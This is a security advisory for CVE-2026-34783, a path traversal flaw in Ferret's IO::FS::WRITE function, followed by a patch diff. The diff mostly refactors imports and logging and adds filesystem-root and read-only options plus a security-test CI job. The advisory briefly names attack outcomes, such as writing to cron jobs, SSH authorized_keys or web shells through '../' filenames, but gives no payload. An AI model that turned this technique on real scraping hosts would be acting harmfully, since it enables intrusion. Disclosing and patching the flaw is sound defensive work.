CVE-2026-34783
Description
Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. This vulnerability is fixed in 2.0.0-alpha.4.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
github.com/MontFerret/ferret/v2Go | < 2.0.0-alpha.4 | 2.0.0-alpha.4 |
github.com/MontFerret/ferretGo | <= 0.18.1 | — |
Affected products
4cpe:2.3:a:montferret:ferret:*:*:*:*:*:go:*:*+ 3 more
- cpe:2.3:a:montferret:ferret:*:*:*:*:*:go:*:*range: <2.0.0
- cpe:2.3:a:montferret:ferret:2.0.0:alpha1:*:*:*:go:*:*
- cpe:2.3:a:montferret:ferret:2.0.0:alpha2:*:*:*:go:*:*
- cpe:2.3:a:montferret:ferret:2.0.0:alpha3:*:*:*:go:*:*
Patches
1120 files changed · +1479 −682
compat/compat.go+2 −2 modified@@ -20,8 +20,8 @@ import ( ferret "github.com/MontFerret/ferret/v2" compatruntime "github.com/MontFerret/ferret/v2/compat/runtime" "github.com/MontFerret/ferret/v2/compat/runtime/core" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" ) // Instance is the v1-compatible entry point for compiling and executing FQL queries. @@ -98,7 +98,7 @@ func (inst *Instance) MustCompile(query string) *compatruntime.Program { // Exec compiles and immediately executes the FQL query, returning the JSON result. func (inst *Instance) Exec(ctx context.Context, query string, opts ...compatruntime.Option) ([]byte, error) { - src := file.NewAnonymousSource(query) + src := source.NewAnonymous(query) out, err := inst.engine.Run(ctx, src, compatruntime.ToSessionOptions(opts)...) if err != nil {
compat/runtime/runtime.go+10 −16 modified@@ -7,17 +7,17 @@ import ( "io" ferret "github.com/MontFerret/ferret/v2" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" - "github.com/MontFerret/ferret/v2/pkg/vm" + "github.com/MontFerret/ferret/v2/pkg/source" ) // Options holds the runtime execution options translated from v1-style Option functions. type Options struct { logWriter io.Writer params map[string]interface{} logFields map[string]interface{} - logLevel runtime.LogLevel + logLevel logging.LogLevel } // Option is a functional option for configuring a program execution. @@ -56,7 +56,7 @@ func WithLog(writer io.Writer) Option { } // WithLogLevel sets the log level. -func WithLogLevel(lvl runtime.LogLevel) Option { +func WithLogLevel(lvl logging.LogLevel) Option { return func(o *Options) { o.logLevel = lvl } @@ -72,7 +72,7 @@ func WithLogFields(fields map[string]interface{}) Option { // newOptions applies the provided setters to a default Options struct. func newOptions(setters []Option) *Options { o := &Options{ - logLevel: runtime.ErrorLevel, + logLevel: logging.ErrorLevel, } for _, s := range setters { @@ -109,22 +109,16 @@ func toSessionOptions(o *Options) []ferret.SessionOption { opts = append(opts, ferret.WithSessionParams(params)) } - var envOpts []vm.EnvironmentOption - if o.logWriter != nil { - envOpts = append(envOpts, vm.WithLog(o.logWriter)) + opts = append(opts, ferret.WithSessionLog(o.logWriter)) } - if o.logLevel != runtime.ErrorLevel { - envOpts = append(envOpts, vm.WithLogLevel(o.logLevel)) + if o.logLevel != logging.ErrorLevel { + opts = append(opts, ferret.WithSessionLogLevel(o.logLevel)) } if len(o.logFields) > 0 { - envOpts = append(envOpts, vm.WithLogFields(o.logFields)) - } - - if len(envOpts) > 0 { - opts = append(opts, ferret.WithEnvironmentOptions(envOpts...)) + opts = append(opts, ferret.WithSessionLogFields(o.logFields)) } return opts @@ -191,7 +185,7 @@ func (p *Program) MustRun(ctx context.Context, setters ...Option) []byte { // compileFromSource is a helper used by compat packages to compile a raw query string // using the provided engine and return a wrapped Program. func CompileFromSource(ctx context.Context, eng *ferret.Engine, query string) (*Program, error) { - src := file.NewAnonymousSource(query) + src := source.NewAnonymous(query) plan, err := eng.Compile(ctx, src) if err != nil {
engine.go+8 −5 modified@@ -8,8 +8,8 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/bytecode/artifact" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm" ) @@ -29,7 +29,10 @@ func New(setters ...Option) (*Engine, error) { return nil, err } - boot := newBootstrap(opts) + boot, err := newBootstrap(opts) + if err != nil { + return nil, fmt.Errorf("bootstrap: %w", err) + } for _, m := range opts.modules { if err := m.Register(boot); err != nil { @@ -74,7 +77,7 @@ func New(setters ...Option) (*Engine, error) { }, nil } -func (e *Engine) Compile(ctx context.Context, src *file.Source) (*Plan, error) { +func (e *Engine) Compile(ctx context.Context, src *source.Source) (*Plan, error) { if e == nil { return nil, runtime.Error(runtime.ErrInvalidOperation, "engine is nil") } @@ -111,7 +114,7 @@ func (e *Engine) Load(data []byte) (*Plan, error) { return e.newPlan(prog) } -func (e *Engine) Run(ctx context.Context, src *file.Source, opts ...SessionOption) (*Output, error) { +func (e *Engine) Run(ctx context.Context, src *source.Source, opts ...SessionOption) (*Output, error) { plan, err := e.Compile(ctx, src) if err != nil { @@ -121,7 +124,7 @@ func (e *Engine) Run(ctx context.Context, src *file.Source, opts ...SessionOptio var session *Session defer func() { - logger := runtime.NewLogger(e.host.logging) + logger := e.host.logger if session != nil { if closeErr := session.Close(); closeErr != nil {
engine_lifecycle_test.go+5 −4 modified@@ -7,8 +7,9 @@ import ( "strings" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm" ) @@ -130,7 +131,7 @@ func TestRunClosesPlanWhenSessionCreationFails(t *testing.T) { _, err = eng.Run( context.Background(), - file.NewAnonymousSource("RETURN 1"), + source.NewAnonymous("RETURN 1"), WithEnvironmentOptions( vm.WithFunction("SESSION_DUP", testVarFn), vm.WithFunction("SESSION_DUP", testVarFn), @@ -154,7 +155,7 @@ func TestRunLogsDeferredCleanupErrorsWithoutChangingRunResult(t *testing.T) { eng, err := New( WithLog(logOutput), - WithLogLevel(runtime.ErrorLevel), + WithLogLevel(logging.ErrorLevel), WithSessionCloseHook(func() error { return sessionCloseErr }), @@ -166,7 +167,7 @@ func TestRunLogsDeferredCleanupErrorsWithoutChangingRunResult(t *testing.T) { t.Fatalf("failed to create engine: %v", err) } - result, err := eng.Run(context.Background(), file.NewAnonymousSource("RETURN 1")) + result, err := eng.Run(context.Background(), source.NewAnonymous("RETURN 1")) if err != nil { t.Fatalf("expected run result error to be unchanged by cleanup failures, got: %v", err) }
engine_options.go+52 −96 renamed@@ -3,43 +3,36 @@ package ferret import ( "fmt" "io" - "os" - "strings" "github.com/MontFerret/ferret/v2/pkg/bytecode/artifact" "github.com/MontFerret/ferret/v2/pkg/compiler" "github.com/MontFerret/ferret/v2/pkg/encoding" encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json" encodingmsgpack "github.com/MontFerret/ferret/v2/pkg/encoding/msgpack" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" "github.com/MontFerret/ferret/v2/pkg/stdlib" - "github.com/MontFerret/ferret/v2/pkg/vm" ) type ( options struct { - logging runtime.LogSettings library runtime.Library params runtime.Params encoding *encoding.Registry programLoader *artifact.Loader hooks *hookRegistry + logger []logging.Option + fsRoot string compiler []compiler.Option modules []Module - noStdlib bool maxActiveSessions int maxIdleVMsPerPlan int maxVMsPerPlan int + fsReadOnly bool + noStdlib bool } Option func(env *options) error - - sessionOptions struct { - outputContentType string - envOptions []vm.EnvironmentOption - } - - SessionOption func(*sessionOptions) error ) type encodingCodecAlias struct { @@ -57,36 +50,13 @@ func (c encodingCodecAlias) ContentType() string { return c.contentType } -func newSessionOptions(setters []SessionOption) (*sessionOptions, error) { - opts := &sessionOptions{ - outputContentType: encodingjson.ContentType, - } - - for _, setter := range setters { - if setter == nil { - continue - } - - if err := setter(opts); err != nil { - return nil, err - } - } - - return opts, nil -} - func newOptions(setters []Option) (*options, error) { opts := &options{ - compiler: []compiler.Option{}, - library: runtime.NewLibrary(), - params: make(map[string]runtime.Value), - encoding: encoding.NewRegistry(encodingjson.Default, encodingmsgpack.Default), - programLoader: artifact.NewDefaultLoader(), - hooks: newHookRegistry(), - logging: runtime.LogSettings{ - Writer: os.Stdout, - Level: runtime.ErrorLevel, - }, + library: runtime.NewLibrary(), + params: make(map[string]runtime.Value), + encoding: encoding.NewRegistry(encodingjson.Default, encodingmsgpack.Default), + programLoader: artifact.NewDefaultLoader(), + hooks: newHookRegistry(), maxActiveSessions: defaultMaxActiveSessions, maxIdleVMsPerPlan: defaultVMPoolSize, maxVMsPerPlan: defaultMaxVMsPerPlan, @@ -152,20 +122,22 @@ func WithLog(writer io.Writer) Option { return fmt.Errorf("log writer cannot be nil") } - opts.logging.Writer = writer + opts.logger = append(opts.logger, logging.WithWriter(writer)) + return nil } } // WithLogLevel sets the logging level for the engine. // The logging level determines the severity of log messages that will be recorded. -func WithLogLevel(lvl runtime.LogLevel) Option { +func WithLogLevel(lvl logging.LogLevel) Option { return func(opts *options) error { - if lvl < runtime.TraceLevel || lvl > runtime.Disabled { + if lvl < logging.TraceLevel || lvl > logging.Disabled { return fmt.Errorf("invalid log level: %v", lvl) } - opts.logging.Level = lvl + opts.logger = append(opts.logger, logging.WithLevel(lvl)) + return nil } } @@ -178,13 +150,7 @@ func WithLogFields(fields map[string]any) Option { return fmt.Errorf("log fields cannot be nil") } - if opts.logging.Fields == nil { - opts.logging.Fields = make(map[string]any) - } - - for k, v := range fields { - opts.logging.Fields[k] = v - } + opts.logger = append(opts.logger, logging.WithFields(fields)) return nil } @@ -198,6 +164,7 @@ func WithEncodingRegistry(registry *encoding.Registry) Option { } opts.encoding = registry + return nil } } @@ -210,60 +177,16 @@ func WithProgramLoader(loader *artifact.Loader) Option { } opts.programLoader = loader - return nil - } -} - -func WithEnvironmentOptions(opts ...vm.EnvironmentOption) SessionOption { - return func(session *sessionOptions) error { - if session == nil { - return nil - } - - if len(opts) == 0 { - return nil - } - - for _, opt := range opts { - if opt == nil { - continue - } - - session.envOptions = append(session.envOptions, opt) - } - - return nil - } -} - -func WithOutputContentType(contentType string) SessionOption { - return func(session *sessionOptions) error { - if session == nil { - return nil - } - - trimmed := strings.TrimSpace(contentType) - if trimmed == "" { - return fmt.Errorf("output content type cannot be empty") - } - session.outputContentType = trimmed return nil } } -func WithSessionParams(params runtime.Params) SessionOption { - return WithEnvironmentOptions(vm.WithParams(params)) -} - -func WithSessionParam(name string, value runtime.Value) SessionOption { - return WithEnvironmentOptions(vm.WithParam(name, value)) -} - // WithoutStdlib disables the standard library, so no built-in functions are registered by default. func WithoutStdlib() Option { return func(opts *options) error { opts.noStdlib = true + return nil } } @@ -336,6 +259,7 @@ func WithEngineInitHook(hook EngineInitHook) Option { } opts.hooks.engine.OnInit(hook) + return nil } } @@ -349,6 +273,7 @@ func WithEngineCloseHook(hook EngineCloseHook) Option { } opts.hooks.engine.OnClose(hook) + return nil } } @@ -362,6 +287,7 @@ func WithBeforeCompileHook(hook BeforeCompileHook) Option { } opts.hooks.plan.BeforeCompile(hook) + return nil } } @@ -375,6 +301,7 @@ func WithAfterCompileHook(hook AfterCompileHook) Option { } opts.hooks.plan.AfterCompile(hook) + return nil } } @@ -388,6 +315,7 @@ func WithPlanCloseHook(hook PlanCloseHook) Option { } opts.hooks.plan.OnClose(hook) + return nil } } @@ -402,6 +330,7 @@ func WithBeforeRunHook(hook BeforeRunHook) Option { } opts.hooks.session.BeforeRun(hook) + return nil } } @@ -415,6 +344,7 @@ func WithAfterRunHook(hook AfterRunHook) Option { } opts.hooks.session.AfterRun(hook) + return nil } } @@ -428,6 +358,7 @@ func WithSessionCloseHook(hook SessionCloseHook) Option { } opts.hooks.session.OnClose(hook) + return nil } } @@ -455,6 +386,7 @@ func WithMaxActiveSessions(n int) Option { } opts.maxActiveSessions = n + return nil } } @@ -484,6 +416,7 @@ func WithMaxIdleVMsPerPlan(n int) Option { } opts.maxIdleVMsPerPlan = n + return nil } } @@ -517,6 +450,29 @@ func WithMaxVMsPerPlan(n int) Option { } opts.maxVMsPerPlan = n + + return nil + } +} + +// WithFSRoot sets the root directory for the engine's file system. +func WithFSRoot(root string) Option { + return func(opts *options) error { + if root == "" { + return fmt.Errorf("fs root cannot be empty") + } + + opts.fsRoot = root + + return nil + } +} + +// WithFSReadOnly sets the engine's file system to read-only mode. +func WithFSReadOnly() Option { + return func(opts *options) error { + opts.fsReadOnly = true + return nil } }
engine_test.go+8 −8 modified@@ -9,8 +9,8 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode/artifact" formatjson "github.com/MontFerret/ferret/v2/pkg/bytecode/format/json" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" ) const ( @@ -52,7 +52,7 @@ func mustNewEngine(t *testing.T, setters ...Option) *Engine { func mustCompilePlan(t *testing.T, eng *Engine, query string) *Plan { t.Helper() - plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(query)) + plan, err := eng.Compile(context.Background(), source.NewAnonymous(query)) if err != nil { t.Fatalf("failed to compile query %q: %v", query, err) } @@ -74,7 +74,7 @@ func mustNewSession(t *testing.T, plan *Plan, setters ...SessionOption) *Session func mustMarshalArtifact(t *testing.T, query string, opts ...artifact.Options) []byte { t.Helper() - prog, err := compiler.New().Compile(file.NewAnonymousSource(query)) + prog, err := compiler.New().Compile(source.NewAnonymous(query)) if err != nil { t.Fatalf("failed to compile query %q: %v", query, err) } @@ -273,7 +273,7 @@ func TestEngineCompileReturnsBeforeHookError(t *testing.T) { }), ) - plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageValidQuery)) + plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageValidQuery)) if err == nil { t.Fatal("expected compile to fail on before hook error") } @@ -307,7 +307,7 @@ func TestEngineCompileReturnsCompilerErrorWhenAfterHooksSucceed(t *testing.T) { return nil })) - plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageInvalidQuery)) + plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageInvalidQuery)) if err == nil { t.Fatal("expected compile to fail for invalid query") } @@ -343,7 +343,7 @@ func TestEngineCompileReturnsAfterHookErrorOnSuccess(t *testing.T) { return afterErr })) - plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageValidQuery)) + plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageValidQuery)) if err == nil { t.Fatal("expected compile to fail when after hook fails") } @@ -376,7 +376,7 @@ func TestEngineCompileJoinsCompileAndAfterHookErrors(t *testing.T) { return afterErr })) - plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageInvalidQuery)) + plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageInvalidQuery)) if err == nil { t.Fatal("expected compile to fail for invalid query and after hook error") } @@ -411,7 +411,7 @@ func TestEngineRunReturnsCompileErrorWithoutPlanClose(t *testing.T) { return nil })) - result, err := eng.Run(context.Background(), file.NewAnonymousSource(coverageInvalidQuery)) + result, err := eng.Run(context.Background(), source.NewAnonymous(coverageInvalidQuery)) if err == nil { t.Fatal("expected run to fail when compile fails") }
.github/workflows/benchmark.yml+6 −6 modified@@ -69,7 +69,7 @@ jobs: uses: actions/checkout@v4 - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: go.mod cache: true @@ -114,7 +114,7 @@ jobs: uses: actions/checkout@v4 - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: go.mod cache: true @@ -160,7 +160,7 @@ jobs: uses: actions/checkout@v4 - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: go.mod cache: true @@ -231,7 +231,7 @@ jobs: uses: actions/checkout@v4 - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: go.mod cache: true @@ -301,7 +301,7 @@ jobs: ref: ${{ inputs.target_ref }} - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: go.mod cache: true @@ -371,7 +371,7 @@ jobs: ref: ${{ inputs.target_ref }} - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: go.mod cache: true
.github/workflows/build.yml+22 −5 modified@@ -12,7 +12,7 @@ jobs: uses: actions/checkout@v2 - name: Set up Go - uses: actions/setup-go@v3 + uses: actions/setup-go@v6 with: go-version: '>=1.23' @@ -26,15 +26,16 @@ jobs: git diff if [[ $(git diff) != '' ]]; then echo 'Invalid formatting!' >&2; exit 1; fi + build: name: Build runs-on: ubuntu-latest strategy: matrix: - goVer: [1.23, 1.24, 1.25] + goVer: [1.25, 1.26] steps: - name: Set up Go ${{ matrix.goVer }} - uses: actions/setup-go@v2 + uses: actions/setup-go@v6 with: go-version: ${{ matrix.goVer }} id: go @@ -75,6 +76,22 @@ jobs: - name: Unit tests run: make cover + security: + name: Security Tests + runs-on: ubuntu-latest + + steps: + - name: Check out code into the Go module directory + uses: actions/checkout@v2 + + - name: Set up Go + uses: actions/setup-go@v6 + with: + go-version: 1.25 + + - name: Run security tests + run: make test-security + race: name: Race Tests runs-on: ubuntu-latest @@ -84,9 +101,9 @@ jobs: uses: actions/checkout@v2 - name: Set up Go - uses: actions/setup-go@v2 + uses: actions/setup-go@v6 with: go-version: 1.25 - name: Run race tests - run: go test ./... -race \ No newline at end of file + run: make test-unit && make test-integration \ No newline at end of file
.github/workflows/codeql.yml+1 −1 modified@@ -39,7 +39,7 @@ jobs: uses: actions/checkout@v4 - name: Set up Go (use version from go.mod / toolchain) - uses: actions/setup-go@v5 + uses: actions/setup-go@v6 with: go-version-file: 'go.mod' check-latest: true
go.mod+1 −3 modified@@ -1,8 +1,6 @@ module github.com/MontFerret/ferret/v2 -go 1.23 - -toolchain go1.24.5 +go 1.25 require ( github.com/antlr4-go/antlr/v4 v4.13.1
host.go+36 −14 modified@@ -2,63 +2,85 @@ package ferret import ( "github.com/MontFerret/ferret/v2/pkg/encoding" + "github.com/MontFerret/ferret/v2/pkg/fs" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" ) type ( - HostConfigurer interface { - Params() runtime.Params + HostContext interface { Library() runtime.Library + Params() runtime.Params Encoding() encoding.CodecRegistrar + Logger() logging.Logger + FileSystem() fs.FileSystem } host struct { functions *runtime.Functions params runtime.Params encoding *encoding.Registry - logging runtime.LogSettings + logger logging.Logger + fs fs.FileSystem } - hostBuilder struct { + hostContext struct { library runtime.Library params runtime.Params encoding *encoding.Registry - logging runtime.LogSettings + logger logging.Logger + fs fs.FileSystem } ) -func newHostBuilder(opts *options) *hostBuilder { - return &hostBuilder{ +func newHostContext(opts *options) (*hostContext, error) { + rootFs, err := fs.New(fs.WithRoot(opts.fsRoot), fs.WithReadOnly(opts.fsReadOnly)) + + if err != nil { + return nil, err + } + + return &hostContext{ library: opts.library, params: opts.params, - logging: opts.logging, encoding: opts.encoding, - } + logger: logging.New(opts.logger...), + fs: rootFs, + }, nil +} + +func (h *hostContext) Logger() logging.Logger { + return h.logger +} + +func (h *hostContext) FileSystem() fs.FileSystem { + return h.fs } -func (h *hostBuilder) Params() runtime.Params { +func (h *hostContext) Params() runtime.Params { return h.params } -func (h *hostBuilder) Library() runtime.Library { +func (h *hostContext) Library() runtime.Library { return h.library } -func (h *hostBuilder) Encoding() encoding.CodecRegistrar { +func (h *hostContext) Encoding() encoding.CodecRegistrar { return h.encoding } -func (h *hostBuilder) Build() (*host, error) { +func (h *hostContext) Build() (*host, error) { funcs, err := h.library.Build() if err != nil { return nil, err } return &host{ - logging: h.logging, functions: funcs, params: h.params.Clone(), encoding: h.encoding.Clone(), + logger: h.logger, + fs: h.fs, }, nil }
Makefile+6 −2 modified@@ -6,7 +6,8 @@ DIR_BIN = ./bin DIR_PKG = ./pkg DIR_COMPAT = ./compat DIR_INTEG = ./test/integration -DIR_BENCH = ./test/integration/benchmarks +DIR_BENCH = ./test/benchmarks +DIR_SEC = ./test/security DIR_E2E = ./test/e2e BENCH_RUN ?= '^$$' BENCH_FILTER ?= . @@ -31,14 +32,17 @@ compile: go build -v -o ${DIR_BIN}/ferret \ ${DIR_E2E}/cli.go -test: test-unit test-integration +test: test-unit test-integration test-security test-unit: CGO_ENABLED=1 go test -race ${DIR_PKG}/... && CGO_ENABLED=1 go test -race ${DIR_COMPAT}/... test-integration: CGO_ENABLED=1 go test -race ${DIR_INTEG}/... +test-security: + go test ${DIR_SEC}/... + clean: rm -rf ${DIR_BIN}/* && \ rm -rf coverage.txt && \
module.go+11 −6 modified@@ -9,24 +9,29 @@ type ( // Bootstrap defines an interface for configuring the host and registering lifecycle hooks with the runtime engine. Bootstrap interface { - Host() HostConfigurer + Host() HostContext Hooks() HookRegistrar } bootstrap struct { - host *hostBuilder + host *hostContext hooks *hookRegistry } ) -func newBootstrap(opts *options) *bootstrap { +func newBootstrap(opts *options) (*bootstrap, error) { + hostCtx, err := newHostContext(opts) + if err != nil { + return nil, err + } + return &bootstrap{ - host: newHostBuilder(opts), + host: hostCtx, hooks: opts.hooks, - } + }, nil } -func (b *bootstrap) Host() HostConfigurer { +func (b *bootstrap) Host() HostContext { return b.host }
pkg/bytecode/artifact/artifact_bench_test.go+2 −2 modified@@ -5,7 +5,7 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func BenchmarkMarshalMessagePack(b *testing.B) { @@ -71,7 +71,7 @@ func BenchmarkUnmarshalJSON(b *testing.B) { func mustBenchmarkArtifactProgram(b *testing.B) *bytecode.Program { b.Helper() - src := file.NewSource("bench.fql", ` + src := source.New("bench.fql", ` LET users = [ { gender: "m", age: 31 }, { gender: "f", age: 25 },
pkg/bytecode/artifact/artifact_test.go+4 −3 modified@@ -7,11 +7,12 @@ import ( gojson "github.com/goccy/go-json" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/bytecode" formatjson "github.com/MontFerret/ferret/v2/pkg/bytecode/format/json" formatmsgpack "github.com/MontFerret/ferret/v2/pkg/bytecode/format/msgpack" "github.com/MontFerret/ferret/v2/pkg/bytecode/internal/persist" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -263,7 +264,7 @@ func TestNewLoaderPanicsOnInvalidRegistrations(t *testing.T) { func newArtifactTestProgram() *bytecode.Program { return &bytecode.Program{ - Source: file.NewSource("artifact.fql", "RETURN 1"), + Source: source.New("artifact.fql", "RETURN 1"), Bytecode: []bytecode.Instruction{ bytecode.NewInstruction(bytecode.OpLoadConst, bytecode.NewRegister(0), bytecode.NewConstant(0)), bytecode.NewInstruction(bytecode.OpReturn, bytecode.NewRegister(0)), @@ -277,7 +278,7 @@ func newArtifactTestProgram() *bytecode.Program { AggregatePlans: []bytecode.AggregatePlan{bytecode.NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []bytecode.AggregateKind{bytecode.AggregateCount}, false)}, AggregateSelectorSlots: []int{-1, -1}, MatchFailTargets: []int{-1, -1}, - DebugSpans: []file.Span{{Start: 0, End: 8}, {Start: 0, End: 8}}, + DebugSpans: []source.Span{{Start: 0, End: 8}, {Start: 0, End: 8}}, OptimizationLevel: 1, }, ISAVersion: bytecode.Version,
pkg/bytecode/encoding.go+3 −2 modified@@ -10,13 +10,14 @@ import ( "github.com/goccy/go-json" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/runtime" ) type ( programJSON struct { - Source *file.Source `json:"source,omitempty"` + Source *source.Source `json:"source,omitempty"` Functions Functions `json:"functions,omitempty"` Bytecode []Instruction `json:"bytecode"` Constants []constantJSON `json:"constants,omitempty"`
pkg/bytecode/format/json/format_test.go+5 −4 modified@@ -7,9 +7,10 @@ import ( gojson "github.com/goccy/go-json" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/bytecode/internal/persist" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -34,7 +35,7 @@ func TestFormatRoundTrip(t *testing.T) { t.Fatalf("unexpected source content: got %q, want %q", got, want) } - if line, col := decoded.Source.LocationAt(file.Span{Start: 7, End: 7}); line == 0 || col == 0 { + if line, col := decoded.Source.LocationAt(source.Span{Start: 7, End: 7}); line == 0 || col == 0 { t.Fatalf("expected source lines to be rebuilt, got line=%d col=%d", line, col) } @@ -142,7 +143,7 @@ func validFrame() persist.ProgramFrame { func newTestProgram() *bytecode.Program { return &bytecode.Program{ - Source: file.NewSource("roundtrip.fql", "RETURN 1\nRETURN 2"), + Source: source.New("roundtrip.fql", "RETURN 1\nRETURN 2"), Functions: bytecode.Functions{ Host: map[string]int{ "now": 0, @@ -177,7 +178,7 @@ func newTestProgram() *bytecode.Program { AggregatePlans: []bytecode.AggregatePlan{bytecode.NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []bytecode.AggregateKind{bytecode.AggregateCount}, true)}, AggregateSelectorSlots: []int{-1, -1}, MatchFailTargets: []int{-1, -1}, - DebugSpans: []file.Span{{Start: 0, End: 8}, {Start: 9, End: 17}}, + DebugSpans: []source.Span{{Start: 0, End: 8}, {Start: 9, End: 17}}, OptimizationLevel: 1, }, ISAVersion: bytecode.Version,
pkg/bytecode/format/msgpack/format_test.go+5 −4 modified@@ -7,9 +7,10 @@ import ( vmmsgpack "github.com/vmihailenco/msgpack/v5" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/bytecode/internal/persist" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -34,7 +35,7 @@ func TestFormatRoundTrip(t *testing.T) { t.Fatalf("expected aggregate plan index to be rebuilt, got %d", got) } - if line, col := decoded.Source.LocationAt(file.Span{Start: 7, End: 7}); line == 0 || col == 0 { + if line, col := decoded.Source.LocationAt(source.Span{Start: 7, End: 7}); line == 0 || col == 0 { t.Fatalf("expected source lines to be rebuilt, got line=%d col=%d", line, col) } } @@ -138,7 +139,7 @@ func validFrame() persist.ProgramFrame { func newTestProgram() *bytecode.Program { return &bytecode.Program{ - Source: file.NewSource("roundtrip.fql", "RETURN 1\nRETURN 2"), + Source: source.New("roundtrip.fql", "RETURN 1\nRETURN 2"), Functions: bytecode.Functions{ Host: map[string]int{ "now": 0, @@ -173,7 +174,7 @@ func newTestProgram() *bytecode.Program { AggregatePlans: []bytecode.AggregatePlan{bytecode.NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []bytecode.AggregateKind{bytecode.AggregateCount}, true)}, AggregateSelectorSlots: []int{-1, -1}, MatchFailTargets: []int{-1, -1}, - DebugSpans: []file.Span{{Start: 0, End: 8}, {Start: 9, End: 17}}, + DebugSpans: []source.Span{{Start: 0, End: 8}, {Start: 9, End: 17}}, OptimizationLevel: 1, }, ISAVersion: bytecode.Version,
pkg/bytecode/internal/persist/frame.go+6 −6 modified@@ -7,8 +7,8 @@ import ( "time" "github.com/MontFerret/ferret/v2/pkg/bytecode" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" ) const ( @@ -335,9 +335,9 @@ func ToProgram(frame ProgramFrame) (*bytecode.Program, error) { aggregatePlans[i] = bytecode.NewAggregatePlan(keys, kinds, plan.TrackGroupValues) } - debugSpans := make([]file.Span, len(frame.Metadata.DebugSpans)) + debugSpans := make([]source.Span, len(frame.Metadata.DebugSpans)) for i, span := range frame.Metadata.DebugSpans { - debugSpans[i] = file.Span{ + debugSpans[i] = source.Span{ Start: span.Start, End: span.End, } @@ -356,13 +356,13 @@ func ToProgram(frame ProgramFrame) (*bytecode.Program, error) { labels[label.PC] = label.Name } - var source *file.Source + var src *source.Source if frame.Source != nil { - source = file.NewSource(frame.Source.Name, frame.Source.Text) + src = source.New(frame.Source.Name, frame.Source.Text) } program := &bytecode.Program{ - Source: source, + Source: src, Functions: bytecode.Functions{ Host: host, UserDefined: udfs,
